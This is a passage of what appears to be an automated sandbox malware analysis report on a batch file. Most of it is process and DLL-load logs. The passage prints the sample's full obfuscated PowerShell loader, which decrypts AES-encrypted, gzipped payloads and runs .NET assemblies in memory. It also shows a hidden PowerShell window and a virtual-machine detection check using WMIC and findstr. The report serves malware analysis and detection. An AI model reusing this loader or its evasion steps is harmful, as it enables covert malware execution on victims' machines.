'C:\Users\user\Desktop\x.bat';$host.UI.RawUI.WindowTitle = $yFDGP;$blPNL=[System.IO.File]::ReadAllText($yFDGP).Split([Environment]::NewLine);foreach ($nqZfK in $blPNL) { if ($nqZfK.StartsWith('tdfVh')) { $ZaBDo=$nqZfK.Substring(5); break; }}$ouiFf=[string[]]$ZaBDo.Split('\');Invoke-Expression '$pcr = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[0].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$aZk = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[1].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$fEm = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[2].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');tnqry $pcr $null;tnqry $aZk $null;tnqry $fEm (,[string[]] (''));	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{6e38c76f-48eb-487e-9cfd-6176ccb652b5}	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Windows\$rbx-onimai2\$rbx-CO2.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get Model	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /i /c:"DADY HARDDISK" /c:"WDS100T2B0A" /c:"QEMU HARDDISK"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c echo function aQLUy($yReKm){ $FiuGL=[System.Security.Cryptography.Aes]::Create(); $FiuGL.Mode=[System.Security.Cryptography.CipherMode]::CBC; $FiuGL.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $FiuGL.Key=[System.Convert]::FromBase64String('Yeb/NAcCgrTp64tTdeVgDdugi9XnGFjFK2NDoLygP24='); $FiuGL.IV=[System.Convert]::FromBase64String('lhLiL9MPOAHIRlkYn9z7VA=='); $exYAh=$FiuGL.CreateDecryptor(); $YgVOo=$exYAh.TransformFinalBlock($yReKm, 0, $yReKm.Length); $exYAh.Dispose(); $FiuGL.Dispose(); $YgVOo;}function mFHoz($yReKm){ Invoke-Expression '$HdeTZ=New-Object System.IO.MemoryStream(,$yReKm);'.Replace('', ''); Invoke-Expression '$wKYjD=New-Object System.IO.MemoryStream;'.Replace('', ''); Invoke-Expression '$odkuT=New-Object System.IO.Compression.GZipStream($HdeTZ, [IO.Compression.CompressionMode]::Decompress);'.Replace('', ''); $odkuT.CopyTo($wKYjD); $odkuT.Dispose(); $HdeTZ.Dispose(); $wKYjD.Dispose(); $wKYjD.ToArray();}function tnqry($yReKm,$VDCUY){ Invoke-Expression '$KyIng=[System.Reflection.Assembly]::Load([byte[]]$yReKm);'.Replace('', ''); Invoke-Expression '$TcvQt=$KyIng.EntryPoint;'.Replace('', ''); Invoke-Expression '$TcvQt.Invoke($null, $VDCUY);'.Replace('', '');}$yFDGP = 'C:\Windows\$rbx-onimai2\$rbx-CO2.bat';$host.UI.RawUI.WindowTitle = $yFDGP;$blPNL=[System.IO.File]::ReadAllText($yFDGP).Split([Environment]::NewLine);foreach ($nqZfK in $blPNL) { if ($nqZfK.StartsWith('tdfVh')) { $ZaBDo=$nqZfK.Substring(5); break; }}$ouiFf=[string[]]$ZaBDo.Split('\');Invoke-Expression '$pcr = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[0].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$aZk = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[1].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$fEm = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[2].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');tnqry $pcr $null;tnqry $aZk $null;tnqry $fEm (,[string[]] (''));	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{5004adc4-d516-4ec2-8626-9598e9dad3bc}	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /Delete /TN "$rbx-CNT1" /F	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\spoolsv.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\spoolsv.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\$nya-onimai2\IfMUlU.exe	Section loaded: mscoree.dll
Source: C:\Windows\$nya-onimai2\IfMUlU.exe	Section loaded: apphelp.dll
Source: C:\Windows\$nya-onimai2\IfMUlU.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\$nya-onimai2\IfMUlU.exe	Section loaded: version.dll
Source: C:\Windows\$nya-onimai2\IfMUlU.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\$nya-onimai2\IfMUlU.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\$nya-onimai2\IfMUlU.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\$nya-onimai2\IfMUlU.exe	Section loaded: windows.storage.dll
Source: C:\Windows\$nya-onimai2\IfMUlU.exe	Section loaded: wldp.dll

Source: C:\Windows\System32\wbem\WMIC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: x.bat

Static file information: File size 7312129 > 1048576

Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: svchost.exe, 00000019.00000000.2095214528.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000002.2283406583.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\wctAB5F.tmp.pdb source: svchost.exe, 00000019.00000002.2281104121.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000000.2095161886.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: (@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000019.00000002.2278957605.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000000.2095093033.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: svchost.exe, 00000019.00000002.2281104121.000001ADEC04C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000000.2095161886.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: svchost.exe, 00000019.00000002.2281104121.000001ADEC04C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000000.2095161886.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000019.00000002.2278957605.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 00000019.00000002.2278957605.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2.pdbr source: svchost.exe, 00000019.00000002.2281104121.000001ADEC04C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000000.2095161886.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: "@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 00000019.00000000.2095214528.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000002.2283406583.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDB source: svchost.exe, 00000019.00000002.2281104121.000001ADEC04C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000000.2095161886.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: *@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: svchost.exe, 00000019.00000000.2095214528.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000002.2283406583.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 00000019.00000002.2278957605.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000000.2095093033.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\wct3D66.tmp.pdb source: svchost.exe, 00000019.00000000.2095214528.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000002.2283406583.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
